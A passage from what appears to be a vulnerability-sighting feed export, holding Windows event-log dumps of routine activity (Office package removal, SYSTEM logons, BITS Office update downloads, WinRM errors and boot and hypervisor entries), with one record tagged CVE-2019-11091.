deprovisioned\tInformation\tMicrosoft-Windows-Privacy-Auditing/Operational\tMicrosoft-Windows-Privacy-Auditing\n05.09.2026 09:16:53.054\t2415\tAn application was unregistered with the following parameters: Microsoft.Office.ActionsServer_8wekyb3d8bbwe!Microsoft.Office.ActionsServer [AppUserModelId] The operation completed successfully. [ErrorCode]\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:16:53.061\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.061\t617\tSuccessfully updated the status for package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe and user S-1-5-21-3712849175-2219398513-4278588552-1006 (Clear=0xFFFFFFFF, Set=0x0).\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.066\t41\tSuccessfully deleted AppContainer Microsoft.Office.ActionsServer_8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:16:53.091\t2562\t\tInformation\tApplication\tMicrosoft-Windows-AppXDeploymentServer/Operational\n05.09.2026 09:16:53.131\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.134\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1006.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.138\t400\tDeployment Remove operation with target volume C: on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe from:  (Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.141\t472\tMoving package folder \\\\?\\C:\\Program Files\\WindowsApps\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe to \\\\?\\C:\\Program Files\\WindowsApps\\Deleted\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe21e230d2-de2e-443e-8514-9c932ad21344. Result: 0x0.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.152\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:54.669\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:54.672\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:56.928\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.928\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.965\t7040\tThe start type of the \u0424\u043e\u043d\u043e\u0432\u0430\u044f \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 (BITS) service was changed from \u0412\u0440\u0443\u0447\u043d\u0443\u044e to \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438.\tInformation\tSystem\tService Control Manager\n05.09.2026 09:16:56.975\t306\tThe BITS service loaded the job list from disk.\tVerbose\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:16:56.980\t145\tWSMan operation Enumeration started with resourceUri http://schemas.microsoft.com/wbem/wsman/1/config/listener\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:16:57.771\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:00.107\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:01.067\t254\tActivity Transfer\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t161\t\u041a\u043b\u0438\u0435\u043d\u0442\u0443 \u043d\u0435 \u0443\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0443\u0437\u043b\u0443 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0435. \u0423\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u044b. \u041e\u0437\u043d\u0430\u043a\u043e\u043c\u044c\u0442\u0435\u0441\u044c \u0441 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u043c\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u043b\u0443\u0436\u0431\u044b WS-Management (\u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u043e IIS \u0438\u043b\u0438 WinRM). \u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 WinRM, \u0442\u043e \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u044d\u0442\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u0443\u0437\u043b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \"winrm quickconfig\".\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t142\tWSMan operation Enumeration failed, error code 2150858770\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.102\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.103\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-551\n\tGroup Name:\t\t\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0430\u0440\u0445\u0438\u0432\u0430\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.259\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.268\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.465\t310\tThe initialization of the peer helper modules failed with the following error:  0x80070032.\tWarning\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.475\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.581\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.583\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.586\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.590\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.697\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.856\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.858\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:02.444\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:17.018\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:25.037\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:26.473\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:31.143\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:34.478\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.378\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.932\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:37.822\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:38.934\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.280\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.834\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:45.806\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.820\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.821\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t210\tCreated Desktop AppX container {245CDFFE-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t211\tAdded process 16932 to Desktop AppX container 245cdffe-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.857\t201\tCreated process 16932 for application Microsoft.ScreenSketch_8wekyb3d8bbwe!App in package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe. [LaunchProcess]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:46.353\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:46.358\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"SnippingTool\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:51.490\t3055\tSome toast notifications have been cleared - informed session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.512\t2416\tA local notification was received from Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.518\t2418\tA local notification was submitted to threadpool: Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] toast [NotificationType] 9403 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.523\t3052\tToast with notification tracking id 9403 is being delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.527\t3153\tToast with notification tracking id 9403 is delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.658\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n", "vulnerability": "CVE-2019-11091", "author": {"login": "automation"}}, {"uuid": "608dff65-4cdf-4126-9f20-7c83f5185030", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T09:10:31.961325+00:00", "type": "seen", "source": "https://gist.github.com/fgh130/ea7a2ba5bd2b594e36f0bfcb053af294", "content": "Event Time\tEvent ID\tDescription\tLevel\tChannel\tProvider\n05.09.2026 08:28:48.091\t12\tThe operating system started at system time \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t25\t\"The system time was initialized to \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z. \n\nLoader time: \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:46.000000000Z\nInternal boot flags: 0x2\nHAL RTC error code: 0x0\nRTC time is in UTC: false\nSoft boot: false\nSuccess: true\nPhase: 0\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t153\tVirtualization-based security (policies: VBS Enabled,VSM Required,Boot Chain Signer Soft Enforced) is enabled due to HyperV.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t82\tTrace point: Function:SipaInsertTcgLog Point:0 Status:STATUS_SUCCESS\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t18\tThere are 0x1 boot options on this system.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t32\tThe bootmgr spent 0 ms waiting for user input.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t20\tThe last shutdown's success status was true. The last boot's success status was true.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t39\tHypervisor Load Options -  IGNOREMEMPART=1 .\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t156\tHypervisor initial page allocation NUMA policy: Proportional NUMA distribution\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t238\tEFI time zone bias: 2047. Daylight flags: 0. Firmware time: \u200e2026\u200e-\u200e09\u200e-\u200e05T08:28:46.000000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t85\t\"Read and Unseal Master Key Array Package Status\n\nStatus: STATUS_SUCCESS\nPrimarySealedBlobName: VsmLocalKey2\nSecondaryProtectorVariableName: VsmLocalKeyProtector\nBlobFromUefiVariableSize: 723\nUefiContentIsSealed: 1\nUnsealedBlobSize: 210\nPcr7SealingUsed: 1\nPkgTpmSealMaskLocal: 0x880\nPkgTpmCreationMaskLocal: 0x880\nNeedToResealKeyPkg: 0\nNeedToResealBackup: 0\nNeedToResealPca2023Backup: 0\nPlaintextBlobSize: 210\nPlaintextIsLegacyFormat: 0\nUefiBlobIsCorrupt: 0\nNewKeyID: 0\nVerifiedMicrosoftAuthority: 0\nContainsAuthorityData: 0\nBootmgrAuthorityEventCount: 0\nAuthority: 2\n\nSubstatus\n\nPrimaryBlobUnsealStatus: STATUS_SUCCESS\nBackupBlobUnsealStatus: STATUS_WAIT_1\nPca2023ProtectorUnsealStatus: STATUS_WAIT_1\nBackupBlobValidityCheckStatus: {Object Exists}\nAn attempt was made to create an object and the object name already existed.\nBackupBlobStillValid: true\nPca2023ProtectorValidityCheckStatus: STATUS_WAIT_1\nPca2023ProtectorStillValid: false\nPrimaryBlobResealStatus: STATUS_WAIT_1\nBackupBlobResealStatus: STATUS_WAIT_1\nPca2023ProtectorResealStatus: STATUS_WAIT_1\nV2ProtectorsUsed: 0\nLegacyUefiVarQueryStatus: STATUS_WAIT_1\nLegacyUefiVarCleanupStatus: STATUS_WAIT_1\nActivePolicyVersion: 0\nLatchedPolicyVersion: 0\nUnlatchedPolicyVersion: 0\n\"\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t80\tFASR Platform Verification. FASR cert present: 0. FASR cert signature validation status: 0x1. BootmgrAuthorityEventCount: 0x1. VerifiedMicrosoftAuthority: 1. FASR PCR values validation status: 0x1. PCR mismatch index: -1. FASR cert size: 0. FASR cert: . FASR signature size: 0. FASR signature: .\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t51\tVSM Master Encryption Key Provisioning. Using cached copy status: 0x0. Primary Blob Unseal Status: 0x0. Backup Blob Unseal Status: 0x1. Pca2023 Protector Unseal Status: 0x1. LostOemPk Protector Unseal Status: 0x1. Backup Blob Validity Check Status: 0x40000000. Backup Blob Validity Check Result: true. Pca2023 Protector Validity Check Status: 0x1. Pca2023 Protector Validity Check Result: false. Primary Blob Reseal Status: 0x1. Backup Blob Reseal Status: 0x1. Pca2023 Protector Reseal Status: 0x1. New key generation status: 0x1. Sealing status: 0x1. TPM PCR mask: 0x880. Tpm Counter validation status: 0x2. Tpm Counter creation status: 0x1. Backup sealed blob used: false. Pca2023 Protector cleaned up post upgrade status: 0x1.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t45\tVSM Identity Key Provisioning. Unsealing cached copy status: 0xC0280018. New key generation status: 0x0. Measuring to PCR status: 0x0. Sealing and caching status: 0x0.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t25\tThe boot menu policy was 0x1.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t27\tThe boot type was 0x0.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.099\t1\tHypervisor successfully started.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t2\tHypervisor scheduler type is 0x4.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t129\t\"Hypervisor initialized I/O remapping.\n\nHardware present: true\nHardware enabled: true\nPolicy: 0x0\nEnabled features: 0x63\nInternal information: 0x0\nProblems: 0x0\nAdditional information: 0x0\"\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t156\t\"Hypervisor configured mitigations for CVE-2018-3646 for virtual machines.\n\nProcessor not affected: true\nProcessor family not affected: false\nProcessor supports cache flush: true\nHyperThreading enabled: false\nParent hypervisor applies mitigations: false\nMitigations disabled 